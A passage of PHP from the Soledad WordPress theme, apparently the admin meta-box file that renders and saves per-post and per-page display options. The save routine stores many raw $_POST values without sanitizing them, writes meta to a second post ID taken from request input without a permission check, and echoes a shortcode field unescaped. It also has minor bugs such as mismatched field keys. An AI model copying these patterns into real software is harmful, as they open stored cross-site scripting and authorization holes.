	?>

    <div id="penci-subtitlediv">
        <div id="penci-subtitlewrap">
            <label class="screen-reader-text" id="penci-sub-title-label"
                   for="penci-sub-title"><?php esc_html_e( 'Add sub title here', 'soledad' ) ?></label>
            <input type="text" id="penci-sub-title" name="penci_post_sub_title" size="30"
                   style="padding: 3px 8px; font-size: 1.4em; line-height: 100%; height: 2em; width: 100%; outline: 0; margin: 0 0 3px; background-color: #fff;"
                   value="<?php echo esc_attr( get_post_meta( $post_id, 'penci_post_sub_title', true ) ); ?>"
                   placeholder="<?php esc_html_e( 'Add sub title here', 'soledad' ) ?>" spellcheck="true"
                   autocomplete="off">
        </div>
    </div>
	<?php
}

function penci_render_subtitle_markup_gutenberg() {
	$post_id = get_the_ID();

	// Get currently viewing post type
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type( $post_id );
	}

	if ( empty( $post_type ) && get_current_screen()->post_type ) {
		$post_type = get_current_screen()->post_type;
	}

	// Don't render markup if it's not allowed
	if ( ! in_array( $post_type, penci_post_types_allow_meta_boxes() ) ) {
		return;
	}
	?>

    <div id="penci-subtitlediv">
        <div id="penci-subtitlewrap">
            <label class="screen-reader-text" id="penci-sub-title-label"
                   for="penci-sub-title"><?php esc_html_e( 'Add sub title here', 'soledad' ) ?></label>
            <textarea name="penci_post_sub_title" rows="6" style="height: 80px; width: 100%; font-size: 1.3em;"
                      placeholder="<?php esc_html_e( 'Add sub title here', 'soledad' ) ?>" spellcheck="false"
                      autocomplete="off"><?php echo esc_attr( get_post_meta( $post_id, 'penci_post_sub_title', true ) ); ?></textarea>
        </div>
    </div>
	<?php
}


function Penci_Add_Custom_Metabox() {
	new Penci_Add_Custom_Metabox_Class();
}

if ( is_admin() ) {
	add_action( 'load-post.php', 'Penci_Add_Custom_Metabox' );
	add_action( 'load-post-new.php', 'Penci_Add_Custom_Metabox' );
}

/**
 * The Class.
 */
class Penci_Add_Custom_Metabox_Class {

	/**
	 * Hook into the appropriate actions when the class is constructed.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'add_meta_box' ) );
		add_action( 'save_post', array( $this, 'save' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'admin_scr' ) );
	}

	public function admin_scr() {
		wp_enqueue_style( 'penci-adm-select2', PENCI_SOLEDAD_URL . '/inc/customizer/css/select2.min.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'penci-adm-select2', PENCI_SOLEDAD_URL . '/inc/customizer/js/select2.full.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-adm-users', PENCI_SOLEDAD_URL . '/js/get_user.js', array(
			'jquery',
			'penci-adm-select2'
		), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script(
			'penci-adm-users',
			'penci_adm_users',
			array(
				'ajax'  => esc_url( admin_url( 'admin-ajax.php' ) ),
				'nonce' => wp_create_nonce( 'penci-adm-users' ),
			)
		);
	}

	/**
	 * Adds the meta box container.
	 */
	public function add_meta_box( $post_type ) {
		$post_types = penci_post_types_allow_meta_boxes();     //limit meta box to certain post types
		if ( in_array( $post_type, $post_types ) ) {
			add_meta_box(
				'penci_custom_sidebar_page'
				, esc_html__( 'Options for This Post/Page', 'soledad' )
				, array( $this, 'render_meta_box_content' )
				, $post_type
				, 'advanced'
				, 'high'
			);

			add_meta_box(
				'penci_view_count_custom'
				, esc_html__( 'Post Views', 'soledad' )
				, array( $this, 'render_meta_box_view_count' )
				, $post_type
				, 'side'
				, 'high'
			);
		}
	}

	/**
	 * Save the meta when the post is saved.
	 *
	 * @param int $post_id The ID of the post being saved.
	 */
	public function save( $post_id ) {


		/*
		 * We need to verify this came from the our screen and with proper authorization,
		 * because save_post can be triggered at other times.
		 */

		// Check if our nonce is set.
		if ( ! isset( $_POST['penci_inner_custom_box_nonce'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_inner_custom_box_nonce'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_inner_custom_box' ) ) {
			return $post_id;
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}

		$post_type_allow = penci_post_types_allow_meta_boxes();
		$post_type       = $_POST['post_type'];

		// Check the user's permissions.
		if ( 'page' == $_POST['post_type'] ) {

			if ( ! current_user_can( 'edit_page', $post_id ) ) {
				return $post_id;
			}

		} else {

			if ( ! current_user_can( 'edit_post', $post_id ) ) {
				return $post_id;
			}
		}

		// Sanitize the user input.
		$mydata            = sanitize_text_field( $_POST['penci_custom_sidebar_page_field'] );
		$sidebar_left_page = sanitize_text_field( $_POST['penci_custom_sidebar_left_page_field'] );

		if ( in_array( $post_type, $post_type_allow ) ) {
			$sidebar = sanitize_text_field( $_POST['penci_post_sidebar_display'] );
		}

		$hide_header = $hide_footer = '';

		if ( 'page' == $_POST['post_type'] ) {
			$slider         = sanitize_text_field( $_POST['penci_page_slider_field'] );
			$featured_boxes = sanitize_text_field( $_POST['penci_page_display_featured_boxes'] );
			$pagetitle      = sanitize_text_field( $_POST['penci_page_display_title_field'] );
			$breadcrumb     = sanitize_text_field( $_POST['penci_page_breadcrumb_field'] );
			$sharebox       = sanitize_text_field( $_POST['penci_page_sharebox_field'] );
			$rev_shortcode  = sanitize_text_field( $_POST['penci_page_rev_shortcode'] );
			$hide_header    = sanitize_text_field( $_POST['penci_page_hide_header_field'] );
			$hide_footer    = sanitize_text_field( $_POST['penci_page_hide_footer_field'] );
			$page_sidebar   = sanitize_text_field( $_POST['penci_sidebar_page_pos'] );
		}


		// Update the meta field.
		update_post_meta( $post_id, 'penci_custom_sidebar_page_display', $mydata );
		update_post_meta( $post_id, 'penci_custom_sidebar_left_page_field', $sidebar_left_page );

		if ( isset( $_POST['penci_post_critical_css'] ) ) {
			update_post_meta( $post_id, 'penci_post_critical_css', $_POST['penci_post_critical_css'] );
		}

		if ( isset( $_POST['penci_desktop_page_id'] ) && $_POST['penci_desktop_page_id'] ) {
			update_post_meta( $post_id, 'penci_desktop_page_id', $_POST['penci_desktop_page_id'] );
			update_post_meta( $_POST['penci_desktop_page_id'], 'penci_mobile_page_id', $post_id );
		}

		if ( isset( $_POST['penci_cpost_title'] ) ) {
			update_post_meta( $post_id, 'penci_cpost_title', $_POST['penci_cpost_title'] );
		}

		if ( isset( $_POST['penci_page_dis_ads'] ) ) {
			update_post_meta( $post_id, 'penci_page_dis_ads', $_POST['penci_page_dis_ads'] );
		}
        
        if ( isset( $_POST['penci_helpful_enable'] ) ) {
			update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
		}

		if ( in_array( $post_type, $post_type_allow ) ) {
			update_post_meta( $post_id, 'penci_post_sidebar_display', $sidebar );

			if ( isset( $_POST['penci_post_sub_title'] ) ) {
				update_post_meta( $post_id, 'penci_post_sub_title', $_POST['penci_post_sub_title'] );
			}

			if ( isset( $_POST['penci_single_style'] ) ) {
				update_post_meta( $post_id, 'penci_single_style', $_POST['penci_single_style'] );
			}

			if ( isset( $_POST['penci_pfeatured_image_ratio'] ) ) {
				update_post_meta( $post_id, 'penci_pfeatured_image_ratio', $_POST['penci_pfeatured_image_ratio'] );
			}

			if ( isset( $_POST['penci_enable_jarallax_single'] ) ) {
				update_post_meta( $post_id, 'penci_enable_jarallax_single', $_POST['penci_enable_jarallax_single'] );
			}

			if ( isset( $_POST['penci_toc_enable'] ) ) {
				update_post_meta( $post_id, 'penci_toc_enable', $_POST['penci_toc_enable'] );
			}
            
            if ( isset( $_POST['penci_helpful_enable'] ) ) {
				update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
			}

			if ( isset( $_POST['penci_extra_author'] ) ) {
				update_post_meta( $post_id, 'penci_extra_author', $_POST['penci_extra_author'] );
			}

			if ( isset( $_POST['penci_extra_author_id'] ) ) {
				update_post_meta( $post_id, 'penci_extra_author_id', $_POST['penci_extra_author_id'] );
			}

			if ( isset( $_POST['penci_post_hide_featuimg'] ) ) {
				update_post_meta( $post_id, 'penci_post_hide_featuimg', $_POST['penci_post_hide_featuimg'] );
			}

			if ( isset( $_POST['penci_reading_time'] ) ) {
				update_post_meta( $post_id, 'penci_reading_time', $_POST['penci_reading_time'] );
			}

			if ( isset( $_POST['penci_header_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_header_builder_layout', $_POST['penci_header_builder_layout'] );
			}

			if ( isset( $_POST['penci_header_block_layout'] ) ) {
				update_post_meta( $post_id, 'penci_header_block_layout', $_POST['penci_header_block_layout'] );
			}

			if ( isset( $_POST['penci_header_layout'] ) ) {
				update_post_meta( $post_id, 'penci_header_layout', $_POST['penci_header_layout'] );
			}

			if ( isset( $_POST['penci_footer_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_footer_builder_layout', $_POST['penci_footer_builder_layout'] );
			}

			if ( isset( $_POST['penci_single_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_single_builder_layout', $_POST['penci_single_builder_layout'] );
			}

			if ( isset( $_POST['penci_sponsored_post'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_post', $_POST['penci_sponsored_post'] );
			}

			if ( isset( $_POST['penci_sponsored_logo'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_logo', $_POST['penci_sponsored_logo'] );
			}

			if ( isset( $_POST['penci_sponsored_url'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_url', $_POST['penci_sponsored_url'] );
			}

			if ( isset( $_POST['penci_sponsored_redirect'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_redirect', $_POST['penci_sponsored_redirect'] );
			}

			if ( isset( $_POST['penci_video_preview_url'] ) ) {
				update_post_meta( $post_id, 'penci_video_preview_url', $_POST['penci_video_preview_url'] );
			}

			if ( isset( $_POST['penci_video_preview'] ) ) {
				update_post_meta( $post_id, 'penci_video_preview', $_POST['penci_video_preview'] );
			}

			if ( isset( $_POST['penci_post_sources'] ) ) {
				update_post_meta( $post_id, 'penci_post_sources', $_POST['penci_post_sources'] );
			}

			$count_key  = penci_get_postviews_key();
			$count_wkey = 'penci_post_week_views_count';
			$count_mkey = 'penci_post_month_views_count';

			if ( isset( $_POST[ $count_key ] ) ) {
				update_post_meta( $post_id, $count_key, $_POST[ $count_key ] );
			}

			if ( isset( $_POST[ $count_wkey ] ) ) {
				update_post_meta( $post_id, $count_wkey, $_POST[ $count_wkey ] );
			}

			if ( isset( $_POST[ $count_mkey ] ) ) {
				update_post_meta( $post_id, $count_mkey, $_POST[ $count_mkey ] );
			}
		}

		if ( 'page' == $_POST['post_type'] ) {
			update_post_meta( $post_id, 'penci_page_slider', $slider );
			update_post_meta( $post_id, 'penci_page_display_featured_boxes', $featured_boxes );
			update_post_meta( $post_id, 'penci_page_display_title', $pagetitle );
			update_post_meta( $post_id, 'penci_page_breadcrumb', $breadcrumb );
			update_post_meta( $post_id, 'penci_page_sharebox', $sharebox );
			update_post_meta( $post_id, 'penci_page_rev_shortcode', $rev_shortcode );
			update_post_meta( $post_id, 'penci_page_hide_header', $hide_header );
			update_post_meta( $post_id, 'penci_page_hide_footer', $hide_footer );
			update_post_meta( $post_id, 'penci_sidebar_page_pos', $page_sidebar );
		}
	}

	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_view_count( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$count_key  = penci_get_postviews_key();
		$count_wkey = 'penci_post_week_views_count';
		$count_mkey = 'penci_post_month_views_count';
		$count_dkey = 'penci_post_day_views_count';
		$count      = get_post_meta( $post->ID, $count_key, true ) ? get_post_meta( $post->ID, $count_key, true ) : 0;
		$count_w    = get_post_meta( $post->ID, $count_wkey, true ) ? get_post_meta( $post->ID, $count_wkey, true ) : 0;
		$count_m    = get_post_meta( $post->ID, $count_mkey, true ) ? get_post_meta( $post->ID, $count_mkey, true ) : 0;
		$count_d    = get_post_meta( $post->ID, $count_dkey, true ) ? get_post_meta( $post->ID, $count_dkey, true ) : 0;


		// Display the form, using the current value.
		?>
        <p><?php esc_html_e( 'You can change the view count for this post by change values below.', 'soledad' ); ?></p>
        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'All Time Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_key . '_id'; ?>" name="<?php echo $count_key; ?>" type="number"
                  value="<?php echo absint( $count ); ?>"></p>

        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'Today Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_dkey . '_id'; ?>" name="<?php echo $count_wkey; ?>" type="number"
                  value="<?php echo absint( $count_d ); ?>"></p>
                  
        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'This Week Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_wkey . '_id'; ?>" name="<?php echo $count_wkey; ?>" type="number"
                  value="<?php echo absint( $count_w ); ?>"></p>

        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'This Month Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_mkey . '_id'; ?>" name="<?php echo $count_mkey; ?>" type="number"
                  value="<?php echo absint( $count_m ); ?>"></p>
        <p style="font-size: 12px;"><?php _e( '<strong>Note that:</strong> If you don\'t see the weekly view count reset after installing the theme in some weeks, that means your hosting doesn\'t support <a href="https://developer.wordpress.org/reference/functions/wp_schedule_event/" target="_blank">wp_schedule_event</a> function from WordPress. So, if you want to get it to work, please contact your hosting provider and requirement them allows it.', 'soledad' ); ?></p>
		<?php
	}


	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_content( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$value      = get_post_meta( $post->ID, 'penci_custom_sidebar_page_display', true );
		$value_left = get_post_meta( $post->ID, 'penci_custom_sidebar_left_page_field', true );


		$sidebar        = get_post_meta( $post->ID, 'penci_post_sidebar_display', true );
		$slider         = get_post_meta( $post->ID, 'penci_page_slider', true );
		$featured_boxes = get_post_meta( $post->ID, 'penci_page_display_featured_boxes', true );
		$pagetitle      = get_post_meta( $post->ID, 'penci_page_display_title', true );
		$breadcrumb     = get_post_meta( $post->ID, 'penci_page_breadcrumb', true );
		$sharebox       = get_post_meta( $post->ID, 'penci_page_sharebox', true );
		$rev_shortcode  = get_post_meta( $post->ID, 'penci_page_rev_shortcode', true );
		$single_style   = get_post_meta( $post->ID, 'penci_single_style', true );
		$hide_featuimg  = get_post_meta( $post->ID, 'penci_post_hide_featuimg', true );

		$hide_header               = get_post_meta( $post->ID, 'penci_page_hide_header', true );
		$hide_footer               = get_post_meta( $post->ID, 'penci_page_hide_footer', true );
		$pfeatured_image_ratio     = get_post_meta( $post->ID, 'penci_pfeatured_image_ratio', true );
		$penci_reading_time        = get_post_meta( $post->ID, 'penci_reading_time', true );
		$enable_parallax           = get_post_meta( $post->ID, 'penci_enable_jarallax_single', true );
		$penci_toc_enable          = get_post_meta( $post->ID, 'penci_toc_enable', true );
		$penci_helpful_enable      = get_post_meta( $post->ID, 'penci_helpful_enable', true );
		$penci_extra_author        = get_post_meta( $post->ID, 'penci_extra_author', true );
		$penci_extra_author_id     = get_post_meta( $post->ID, 'penci_extra_author_id', true );
		$page_sidebar              = get_post_meta( $post->ID, 'penci_sidebar_page_pos', true );
		$headerdf_layout           = get_post_meta( $post->ID, 'penci_header_layout', true );
		$headerbd_layout           = get_post_meta( $post->ID, 'penci_header_builder_layout', true );
		$footerbd_layout           = get_post_meta( $post->ID, 'penci_footer_builder_layout', true );
		$penci_header_block_layout = get_post_meta( $post->ID, 'penci_header_block_layout', true );
		$singlebd_layout           = get_post_meta( $post->ID, 'penci_single_builder_layout', true );
		$penci_post_critical_css   = get_post_meta( $post->ID, 'penci_post_critical_css', true );
		$penci_cpost_title         = get_post_meta( $post->ID, 'penci_cpost_title', true );
		$penci_sponsored_url       = get_post_meta( $post->ID, 'penci_sponsored_url', true );
		$penci_sponsored_post      = get_post_meta( $post->ID, 'penci_sponsored_post', true );
		$penci_sponsored_redirect  = get_post_meta( $post->ID, 'penci_sponsored_redirect', true );
		$penci_sponsored_logo      = get_post_meta( $post->ID, 'penci_sponsored_logo', true );
		$penci_video_preview       = get_post_meta( $post->ID, 'penci_video_preview', true );
		$penci_video_preview_url   = get_post_meta( $post->ID, 'penci_video_preview_url', true );
		$penci_page_dis_ads        = get_post_meta( $post->ID, 'penci_page_dis_ads', true );
		$penci_post_sources        = get_post_meta( $post->ID, 'penci_post_sources', true );


		$post_type_allow = penci_post_types_allow_meta_boxes();
		$post_type       = get_post_type( $post->ID );
		// Display the form, using the current value.

		$header_layout = [];
		$footer_layout = [];
		$single_layout = [];

		$header_layout[''] = esc_attr__( 'Default Settings' );
		$footer_layout[''] = esc_attr__( 'Default Settings' );
		$single_layout[''] = esc_attr__( 'Default Settings' );

		$header_layouts = get_posts( [
			'post_type'      => 'penci_builder',
			'posts_per_page' => - 1,
		] );
		foreach ( $header_layouts as $header ) {
			$header_layout[ $header->ID ] = $header->post_title;
		}

		$footer_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );
		foreach ( $footer_layouts as $footer ) {
			$footer_layout[ $footer->ID ] = $footer->post_title;
		}

		$single_layouts = get_posts( [
			'post_type'      => 'custom-post-template',
			'posts_per_page' => - 1,
		] );
		foreach ( $single_layouts as $slayout ) {
			$single_layout[ $slayout->post_name ] = $slayout->post_title;
		}
		?>

		<?php if ( 'page' == get_post_type( $post->ID ) ) {
			do_action( 'penci_page_metabox' );
			?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Select Featured Slider/Featured
                        Video to
                        Display on Top of This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_page_slider_field" name="penci_page_slider_field">
                            <option value="">None</option>
                            <option value="style-1" <?php selected( $slider, 'style-1' ); ?>><?php _e( 'Posts Featured Slider Style
                                1', 'soledad' ); ?>
                            </option>
                            <option value="style-2" <?php selected( $slider, 'style-2' ); ?>><?php _e( 'Posts Featured Slider Style
                                2', 'soledad' ); ?>
                            </option>
                            <option value="style-3" <?php selected( $slider, 'style-3' ); ?>><?php _e( 'Posts Featured Slider Style
                                3', 'soledad' ); ?>
                            </option>
                            <option value="style-4" <?php selected( $slider, 'style-4' ); ?>><?php _e( 'Posts Featured Slider Style
                                4', 'soledad' ); ?>
                            </option>
                            <option value="style-5" <?php selected( $slider, 'style-5' ); ?>><?php _e( 'Posts Featured Slider Style
                                5', 'soledad' ); ?>
                            </option>
                            <option value="style-6" <?php selected( $slider, 'style-6' ); ?>><?php _e( 'Posts Featured Slider Style
                                6', 'soledad' ); ?>
                            </option>
                            <option value="style-7" <?php selected( $slider, 'style-7' ); ?>><?php _e( 'Posts Featured Slider Style
                                7', 'soledad' ); ?>
                            </option>
                            <option value="style-8" <?php selected( $slider, 'style-8' ); ?>><?php _e( 'Posts Featured Slider Style
                                8', 'soledad' ); ?>
                            </option>
                            <option value="style-9" <?php selected( $slider, 'style-9' ); ?>><?php _e( 'Posts Featured Slider Style
                                9', 'soledad' ); ?>
                            </option>
                            <option value="style-10" <?php selected( $slider, 'style-10' ); ?>><?php _e( 'Posts Featured Slider
                                Style 10', 'soledad' ); ?>
                            </option>
                            <option value="style-11" <?php selected( $slider, 'style-11' ); ?>><?php _e( 'Posts Featured Slider
                                Style 11', 'soledad' ); ?>
                            </option>
                            <option value="style-12" <?php selected( $slider, 'style-12' ); ?>><?php _e( 'Posts Featured Slider
                                Style 12', 'soledad' ); ?>
                            </option>
                            <option value="style-13" <?php selected( $slider, 'style-13' ); ?>><?php _e( 'Posts Featured Slider
                                Style 13', 'soledad' ); ?>
                            </option>
                            <option value="style-14" <?php selected( $slider, 'style-14' ); ?>><?php _e( 'Posts Featured Slider
                                Style 14', 'soledad' ); ?>
                            </option>
                            <option value="style-15" <?php selected( $slider, 'style-15' ); ?>><?php _e( 'Posts Featured Slider
                                Style 15', 'soledad' ); ?>
                            </option>
                            <option value="style-16" <?php selected( $slider, 'style-16' ); ?>><?php _e( 'Posts Featured Slider
                                Style 16', 'soledad' ); ?>
                            </option>
                            <option value="style-17" <?php selected( $slider, 'style-17' ); ?>><?php _e( 'Posts Featured Slider
                                Style 17', 'soledad' ); ?>
                            </option>
                            <option value="style-18" <?php selected( $slider, 'style-18' ); ?>><?php _e( 'Posts Featured Slider
                                Style 18', 'soledad' ); ?>
                            </option>
                            <option value="style-19" <?php selected( $slider, 'style-19' ); ?>><?php _e( 'Posts Featured Slider
                                Style 19', 'soledad' ); ?>
                            </option>
                            <option value="style-20" <?php selected( $slider, 'style-20' ); ?>><?php _e( 'Posts Featured Slider
                                Style 20', 'soledad' ); ?>
                            </option>
                            <option value="style-21" <?php selected( $slider, 'style-21' ); ?>><?php _e( 'Posts Featured Slider
                                Style 21', 'soledad' ); ?>
                            </option>
                            <option value="style-22" <?php selected( $slider, 'style-22' ); ?>><?php _e( 'Posts Featured Slider
                                Style 22', 'soledad' ); ?>
                            </option>
                            <option value="style-23" <?php selected( $slider, 'style-23' ); ?>><?php _e( 'Posts Featured Slider
                                Style 23', 'soledad' ); ?>
                            </option>
                            <option value="style-24" <?php selected( $slider, 'style-24' ); ?>><?php _e( 'Posts Featured Slider
                                Style 24', 'soledad' ); ?>
                            </option>
                            <option value="style-25" <?php selected( $slider, 'style-25' ); ?>><?php _e( 'Posts Featured Slider
                                Style 25', 'soledad' ); ?>
                            </option>
                            <option value="style-26" <?php selected( $slider, 'style-26' ); ?>><?php _e( 'Posts Featured Slider
                                Style 26', 'soledad' ); ?>
                            </option>
                            <option value="style-27" <?php selected( $slider, 'style-27' ); ?>><?php _e( 'Posts Featured Slider
                                Style 27', 'soledad' ); ?>
                            </option>
                            <option value="style-28" <?php selected( $slider, 'style-28' ); ?>><?php _e( 'Posts Featured Slider
                                Style 28', 'soledad' ); ?>
                            </option>
                            <option value="style-29" <?php selected( $slider, 'style-29' ); ?>><?php _e( 'Posts Featured Slider
                                Style 29', 'soledad' ); ?>
                            </option>
                            <option value="style-30" <?php selected( $slider, 'style-30' ); ?>><?php _e( 'Posts Featured Slider
                                Style 30', 'soledad' ); ?>
                            </option>
                            <option value="style-31" <?php selected( $slider, 'style-31' ); ?>><?php _e( 'Penci Slider Style 1', 'soledad' ); ?>
                            </option>
                            <option value="style-32" <?php selected( $slider, 'style-32' ); ?>><?php _e( 'Penci Slider Style 2', 'soledad' ); ?>
                            </option>
                            <option value="style-33" <?php selected( $slider, 'style-33' ); ?>><?php _e( 'Revolution Slider Full
                                Width', 'soledad' ); ?>
                            </option>
                            <option value="style-34" <?php selected( $slider, 'style-34' ); ?>><?php _e( 'Revolution Slider In
                                Container', 'soledad' ); ?>
                            </option>
                            <option value="style-35" <?php selected( $slider, 'style-35' ); ?>><?php _e( 'Posts Featured Slider
                                Style 35', 'soledad' ); ?>
                            </option>
                            <option value="style-36" <?php selected( $slider, 'style-36' ); ?>><?php _e( 'Posts Featured Slider
                                Style 36', 'soledad' ); ?>
                            </option>
                            <option value="style-37" <?php selected( $slider, 'style-37' ); ?>><?php _e( 'Posts Featured Slider
                                Style 37', 'soledad' ); ?>
                            </option>
                            <option value="style-38" <?php selected( $slider, 'style-38' ); ?>><?php _e( 'Posts Featured Slider
                                Style 38', 'soledad' ); ?>
                            </option>
                            <option value="style-40" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider
                                Style 39', 'soledad' ); ?>
                            <option value="style-41" <?php selected( $slider, 'style-41' ); ?>><?php _e( 'Posts Featured Slider
                                Style 40', 'soledad' ); ?>
                            <option value="style-42" <?php selected( $slider, 'style-42' ); ?>><?php _e( 'Posts Featured Slider
                                Style 41', 'soledad' ); ?>
                            <option value="style-44" <?php selected( $slider, 'style-44' ); ?>><?php _e( 'Posts Featured Slider
                                Style 42', 'soledad' ); ?>
                            </option>
                            <option value="video" <?php selected( $slider, 'video' ); ?>><?php _e( 'Featured Video Background', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Revolution Slider Shortcode', 'soledad' ); ?></h2>
                    <p class="description"><?php _e( 'If you select Revolution Slider above, please fill Revolution Slider
                        Shortcode here', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <textarea style="width: 100%; height: 50px;"
                              name="penci_page_rev_shortcode"><?php if ( $rev_shortcode ): echo $rev_shortcode; endif; ?></textarea>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Featured Boxes?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_display_featured_boxes" name="penci_page_display_featured_boxes">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $featured_boxes, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Page Title?', 'soledad' ); ?></h2>
                    <p class="descriptions"><?php _e( 'By default, this option will follow on Customizer settings', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_display_title_field" name="penci_page_display_title_field">
                            <option value=""><?php _e( 'Default', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Breadcrumb on This
                        Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_breadcrumb_field" name="penci_page_breadcrumb_field">
                            <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $breadcrumb, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Share Box on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_sharebox_field" name="penci_page_sharebox_field">
                            <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $sharebox, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">


                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Hide Header on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_hide_header_field" name="penci_page_hide_header_field">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $hide_header, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Hide Footer on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_hide_footer_field" name="penci_page_hide_footer_field">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $hide_footer, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Select Sidebar Position for This
                        Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'This option just apply for Page Template "Page with Sidebar" and "Page VC Builder with Sidebar"', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_sidebar_page_pos" name="penci_sidebar_page_pos">
                            <option value=""><?php esc_html_e( "Default", "soledad" ); ?></option>
                            <option value="left-sidebar" <?php selected( $page_sidebar, 'left-sidebar' ); ?>><?php esc_html_e( "Left Sidebar", "soledad" ); ?></option>
                            <option value="right-sidebar" <?php selected( $page_sidebar, 'right-sidebar' ); ?>><?php esc_html_e( "Right Sidebar", "soledad" ); ?></option>
                            <option value="two-sidebar" <?php selected( $page_sidebar, 'two-sidebar' ); ?>><?php esc_html_e( "Two Sidebar", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
		<?php } ?>

		<?php if ( in_array( $post_type, $post_type_allow ) ) { ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
